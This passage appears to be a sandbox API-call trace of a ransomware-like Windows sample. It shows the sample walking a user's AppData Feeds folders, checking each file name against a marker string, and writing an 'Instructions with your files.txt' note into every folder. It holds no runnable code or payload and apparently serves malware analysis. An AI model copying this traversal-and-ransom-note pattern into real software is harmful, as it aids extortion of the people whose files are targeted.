[0130.466] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.466] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\..") returned 83
[0130.466] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeaa2466, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft at Home~.feed-ms", cAlternateFileName="MICROS~2.FEE")) returned 1
[0130.466] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms") returned 107
[0130.466] StrStrIW (lpFirst="Microsoft at Home~.feed-ms", lpSrch="SDfghjkl") returned 0x0
[0130.466] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft at Work~.feed-ms", cAlternateFileName="MICROS~1.FEE")) returned 1
[0130.467] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms") returned 107
[0130.467] StrStrIW (lpFirst="Microsoft at Work~.feed-ms", lpSrch="SDfghjkl") returned 0x0
[0130.467] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News~.feed-ms", cAlternateFileName="MSNBCN~1.FEE")) returned 1
[0130.467] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms") returned 100
[0130.467] StrStrIW (lpFirst="MSNBC News~.feed-ms", lpSrch="SDfghjkl") returned 0x0
[0130.467] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News~.feed-ms", cAlternateFileName="MSNBCN~1.FEE")) returned 0
[0130.467] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Instructions with your files.txt") returned 113
[0130.467] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0130.467] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0130.468] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0130.468] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0130.468] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0130.468] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0130.468] CloseHandle (hObject=0x11c) returned 1
[0130.468] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0130.469] GetProcessHeap () returned 0x810000
[0130.469] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x865bd0 | out: hHeap=0x810000) returned 1
[0130.470] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 1
[0130.470] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 103
[0130.470] GetProcessHeap () returned 0x810000
[0130.470] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x865bd0
[0130.470] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*") returned 105
[0130.471] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0130.471] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\.") returned 105
[0130.471] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0130.471] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.471] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\..") returned 106
[0130.471] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0130.471] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d69eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d69eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebSlices~", cAlternateFileName="WEBSLI~1")) returned 1
[0130.471] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 114
[0130.471] GetProcessHeap () returned 0x810000
[0130.471] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0130.472] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*") returned 116
[0130.472] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d69eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d69eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0130.472] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\.") returned 116
[0130.472] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0130.472] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d69eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d69eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.472] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\..") returned 117
[0130.472] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0130.472] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52d69eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52d69eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6e0227e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Suggested Sites~.feed-ms", cAlternateFileName="SUGGES~1.FEE")) returned 1
[0130.472] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms") returned 139
[0130.472] StrStrIW (lpFirst="Suggested Sites~.feed-ms", lpSrch="SDfghjkl") returned 0x0
[0130.472] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery~.feed-ms", cAlternateFileName="WEBSLI~1.FEE")) returned 1
[0130.473] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms") returned 141
[0130.473] StrStrIW (lpFirst="Web Slice Gallery~.feed-ms", lpSrch="SDfghjkl") returned 0x0
[0130.473] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery~.feed-ms", cAlternateFileName="WEBSLI~1.FEE")) returned 0
[0130.473] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Instructions with your files.txt") returned 147
[0130.473] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0130.475] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0130.476] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0130.476] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0130.476] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0130.476] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0130.476] CloseHandle (hObject=0x120) returned 1
[0130.476] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0130.476] GetProcessHeap () returned 0x810000
[0130.476] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0130.476] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d69eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d69eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebSlices~", cAlternateFileName="WEBSLI~1")) returned 0
[0130.476] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\Instructions with your files.txt") returned 136
[0130.476] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0130.477] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0130.477] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0130.477] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0130.478] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0130.478] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0130.478] CloseHandle (hObject=0x11c) returned 1
[0130.478] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0130.478] GetProcessHeap () returned 0x810000
[0130.478] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x865bd0 | out: hHeap=0x810000) returned 1
[0130.479] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 0
[0130.479] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Instructions with your files.txt") returned 96
[0130.479] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0130.479] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0130.480] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0130.480] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0130.480] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0130.480] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0130.481] CloseHandle (hObject=0x118) returned 1
[0130.481] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0130.481] GetProcessHeap () returned 0x810000
[0130.481] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0130.481] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds Cache", cAlternateFileName="FEEDSC~1")) returned 1
[0130.481] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache") returned 69
[0130.481] GetProcessHeap () returned 0x810000
[0130.481] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0130.481] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\*") returned 71
[0130.481] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0130.483] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\.") returned 71
[0130.483] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
